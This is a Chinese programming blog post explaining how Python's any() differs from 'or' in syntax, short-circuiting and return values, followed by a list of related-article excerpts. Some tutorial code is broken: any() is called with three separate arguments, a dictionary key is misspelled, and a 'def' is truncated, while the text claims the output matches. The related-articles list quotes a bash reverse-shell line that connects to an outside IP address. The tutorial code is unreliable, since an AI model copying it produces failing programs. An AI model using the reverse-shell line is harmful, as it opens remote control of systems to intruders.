前言

在我之前的文章中有any()和all()的对比:any()和all()对比其中介绍了any()函数的基本特性---可迭代对象中有任意一个不为False的时候,返回True,如果可迭代对象为空的话,返回False

由于这个特性,决定了any()可以用在判断语句中与 or 一较高下。那么俩者有区别吗?显然是有的,接下来就让我们详细的对比俩者。

案例

现在有这样的一个场景:某学校要招聘老师,要满足一下任意一个要求:

  1. 有教师资格证
  2. 有教学经验
  3. 是师范专业

现在有一批申请人:

applicants = [
{
"name":"张三",
"has_degree": False,
"has_experience":True,
"is_professional": False
},
{
"name":"李四",
"has_degree": True,
"has_experience":False,
"is_professional": False
},
{
"name":"王二",
"has_degree": False,
"has_experience":False,
"is_professional": False
}
]

如何从这样的数据判断申请人是否符合条件呢?

or

for applicant in applicants:
if applicant.get("has_degree") or applicant.get("has_experience") or applicant.get("is_speical"):
print(f'{applicant["name"]} 符合条件!')

输出结果:

张三 符合条件!
李四 符合条件!

any

如果使用 any() 就需要参数是可迭代的(iterable),也就意味着我们需要将参数转化为list、tupple等。

for applicant in applicants:
if any(applicant.get("has_degree"),applicant.get("has_experience"), applicant.get("is_speical")):
print(f'{applicant["name"]} 符合条件!')

显然最终输出结果是一样的。

到这里,是不是觉得 any() 像升级版的 or ? 那究竟是不是这样子呢?别着急忘下看。

or 和 any 的区别

两者的区别总共有俩点:

  1. 语法
  2. 返回值

接下来让我们详细的介绍一下

语法

众所周知 or 是一个逻辑运算符,所以它需要两个参数:

>>> True or False
True

any() 是一个函数,只需要一个可迭代的参数:

>>>any([True,False])
True

这就意味着,如果对于一个可迭代的参数使用any()会显得更简单一旦,如果使用or,则需要我们去遍历了:

>>> import functools
>>> functools.reduce(lambda x, y: x or y, (True, False, False))
True

除了这个区别,俩者还有一个更重要的区别,正常情况下当众多条件下出现一个True的时候,我们希望对余下的条件不做任何判断直接返回 True(这种被称作 短路求值short-circuit evaluation 或者 延迟计算lazy evaluation),让我们看看 orany() 是否这样呢?

ef test_a():
print('A was called')
return True
def test_b():
print('B was called')
return False
print('===call_or===')
a_or_b = test_a() or test_b()
print('===call_any===')
a_any_b = any([test_a(),test_b()])

运行一下看一下输出结果:

===call_or===
A was called
===call_any===
A was called
B was called

从结果不难发现,or 是按照预期返回的,而any()则不是。那么有没有办法让Python调用函数的时候也遵循 延迟计算(lazy evaluation)呢?方法是有的---通过map()构造一个生成器或者使用生成器表达式

a_any_iterable_b = any((test() for test in [test_a,test_b]))

上面的例子就是使用生成器表达式(generator expression),当其中一个条件返回为True,则any()就会直接返回True,而不会继续校验余下的条件。

返回值

any()or俩者的返回值也大不相同。any()在任何清理下都会返回一个布尔值(True、False):

>>> any((1, 0))
True

or则不是这样,它会发现它找到的第一个布尔值为True的元素,即bool(value)True,返回value,否则返回最后一个元素:

>>> 1 or 0
1 >>> None or 0
0

参考

How to Use any() in Python

【Python】any() 或者 or的更多相关文章

  1. Python中的多进程与多线程(一)

    一.背景 最近在Azkaban的测试工作中,需要在测试环境下模拟线上的调度场景进行稳定性测试.故而重操python旧业,通过python编写脚本来构造类似线上的调度场景.在脚本编写过程中,碰到这样一个 ...

  2. Python高手之路【六】python基础之字符串格式化

    Python的字符串格式化有两种方式: 百分号方式.format方式 百分号的方式相对来说比较老,而format方式则是比较先进的方式,企图替换古老的方式,目前两者并存.[PEP-3101] This ...

  3. Python 小而美的函数

    python提供了一些有趣且实用的函数,如any all zip,这些函数能够大幅简化我们得代码,可以更优雅的处理可迭代的对象,同时使用的时候也得注意一些情况   any any(iterable) ...

  4. JavaScript之父Brendan Eich,Clojure 创建者Rich Hickey,Python创建者Van Rossum等编程大牛对程序员的职业建议

    软件开发是现时很火的职业.据美国劳动局发布的一项统计数据显示,从2014年至2024年,美国就业市场对开发人员的需求量将增长17%,而这个增长率比起所有职业的平均需求量高出了7%.很多人年轻人会选择编 ...

  5. 可爱的豆子——使用Beans思想让Python代码更易维护

    title: 可爱的豆子--使用Beans思想让Python代码更易维护 toc: false comments: true date: 2016-06-19 21:43:33 tags: [Pyth ...

  6. 使用Python保存屏幕截图(不使用PIL)

    起因 在极客学院讲授<使用Python编写远程控制程序>的课程中,涉及到查看被控制电脑屏幕截图的功能. 如果使用PIL,这个需求只需要三行代码: from PIL import Image ...

  7. Python编码记录

    字节流和字符串 当使用Python定义一个字符串时,实际会存储一个字节串: "abc"--[97][98][99] python2.x默认会把所有的字符串当做ASCII码来对待,但 ...

  8. Apache执行Python脚本

    由于经常需要到服务器上执行些命令,有些命令懒得敲,就准备写点脚本直接浏览器调用就好了,比如这样: 因为线上有现成的Apache,就直接放它里面了,当然访问安全要设置,我似乎别的随笔里写了安全问题,这里 ...

  9. python开发编译器

    引言 最近刚刚用python写完了一个解析protobuf文件的简单编译器,深感ply实现词法分析和语法分析的简洁方便.乘着余热未过,头脑清醒,记下一点总结和心得,方便各位pythoner参考使用. ...

  10. 关于解决python线上问题的几种有效技术

    工作后好久没上博客园了,虽然不是很忙,但也没学生时代闲了.今天上博客园,发现好多的文章都是年终总结,想想是不是自己也应该总结下,不过现在还没想好,等想好了再写吧.今天写写自己在工作后用到的技术干货,争 ...

随机推荐

  1. 【Spring注解驱动开发】聊聊Spring注解驱动开发那些事儿!

    写在前面 今天,面了一个工作5年的小伙伴,面试结果不理想啊!也不是我说,工作5年了,问多线程的知识:就只知道继承Thread类和实现Runnable接口!问Java集合,竟然说HashMap是线程安全 ...

  2. 教科书级讲解,秒懂最详细Java的注解

    所有知识体系文章,GitHub已收录,欢迎Star!再次感谢,愿你早日进入大厂! GitHub地址: https://github.com/Ziphtracks/JavaLearningmanual ...

  3. 常用的反弹shell脚本

    bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...

  4. python3 源码阅读-虚拟机运行原理

    阅读源码版本python 3.8.3 参考书籍<<Python源码剖析>> 参考书籍<<Python学习手册 第4版>> 官网文档目录介绍 Doc目录主 ...

  5. OSI七层模型及各层作用

    物理层:建立.维护.断开物理连接 数据链路层:该层的作用包括了物理地址寻址,数据的成帧,流量控制,数据的检错,重发等.该层控制网络层与物理层之间的通信,解决的是所传输数据的准确性的问题.为了保证传输, ...

  6. 实验四 Linux系统C语言开发环境学习

    项目 内容 这个作业属于哪个课程 Linux系统与应用 这个作业的要求在哪里 作业要求链接 学号-姓名 17041428-朱槐健 作业学习目标 1.Linux系统下C语言开发环境搭建 2.学习Linu ...

  7. 学习ASP.NET Core(10)-全局日志与xUnit系统测试

    上一篇我们介绍了数据塑形,HATEOAS和内容协商,并在制器方法中完成了对应功能的添加:本章我们将介绍日志和测试相关的概念,并添加对应的功能 一.全局日志 在第一章介绍项目结构时,有提到.NET Co ...

  8. ClientDataSet训练之1

    在做平面文件数据集时(ClientDataSet),需要引用单元,  uses Midaslib //D7,ClientDataSet选择文件(添加数据集) //为何D10.3.2不可右键添加数据集呢 ...

  9. 华为海思搞定4K60fps!Vmate掌上云台相机国内首发

    目录 Snoppa Vmate Snoppa Vmate Snoppa Vmate是一款掌上型的高性能4K摄像机,集成了微型机械三轴增稳云台,一体化机身集成可操控式触摸屏,既可以独立使用,也可以无线连 ...

  10. Arduino_DH11+0.96OLED_u8glib库 温湿度显示

    u8glib_arduino_OLED0.96一.电路连接 DHT11接线方式:GND<————>GNDDATA<————>2(数字输入/输出)VCC<————>5 ...